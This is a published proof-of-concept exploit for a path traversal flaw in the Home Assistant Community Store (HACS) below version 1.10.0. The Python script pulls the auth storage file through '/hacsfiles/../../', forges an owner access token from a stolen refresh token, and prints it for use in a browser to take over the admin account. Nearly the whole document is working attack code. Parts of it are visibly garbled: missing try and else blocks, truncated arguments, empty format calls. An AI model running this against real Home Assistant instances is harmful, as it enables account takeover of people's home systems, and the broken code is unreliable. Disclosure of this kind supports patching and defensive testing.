Authored by Lyghtnox

Home Assistant Community Store (HACS) version 1.10.0 suffers from a path traversal vulnerability that allows for account takeover.

# Exploit Title: Home Assistant Community Store (HACS) 1.10.0 - Path Traversal to Account Takeover
# Date: 2021-01-28
# Exploit Author: Lyghtnox
# Vendor Homepage:
# Software Link:
# Version: < 1.10.0
# Tested on: Raspbian + Home Assistant 2021.1.0
# Blog post:

# STEP 1: Run the exploit (python3 host port)
# STEP 2: Copy the token printed and set in your browser's local storage with
# the key `hassTokens`

import requests
import jwt
import json
import argparse

class HA:
def __init__(self, ip, port):
self.ip = ip
self.port = port

def retrieveFile(self, f):
url = f'http://{self.ip}:{self.port}/hacsfiles/../../{f}'
with requests.Session() as s:
r = requests.Request(method='GET', url=url)
prep = r.prepare()
prep.url = url
r = s.send(prep, verify=False)
except requests.exceptions.ConnectionError:
if r.status_code == 400 or r.status_code == 404:
return r

def craftToken(self):
f = self.retrieveFile('.storage/auth').json()

# Find owner
for user in f['data']['users']:
if user['is_owner']:
self.owner = user['id']
print("No owner found. Using first account")
self.owner = f['data']['users'][0]['id']

for token in f['data']['refresh_tokens']:
if self.owner == token['user_id']:
encoded_jwt = jwt.encode({'iss': token['id']},
self.token = {'access_token': encoded_jwt,
'token_type': 'Bearer',
'refresh_token': token['token'],
'expires_in': 1800,
'hassUrl': f"http://{self.ip}:{self.port}",
'clientId': token['client_id']}
return self.token

if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Exploit a vulnerability in
HACS < 1.10.0 to gain admin access to an Home Assistant instance.")
parser.add_argument("host", type=str, help="IP of the HASS instance")
parser.add_argument("port", type=int, help="port of the HASS instance")
args = parser.parse_args()

r = requests.get('http://{ip}:{port}/hacsfiles/iconset.js'.format(,
if r.status_code != 404:
print("HACS found! Testing vulnerability...", end='', flush=True)
ha = HA(, args.port)
if ha.retrieveFile('configuration.yaml'):
print(": VULNERABLE")
token = ha.craftToken()
if token:
print(f"Use the following 'hassTokens': {json.dumps(token)}")
print("Unable to craft token")
print(": Not vulnerable")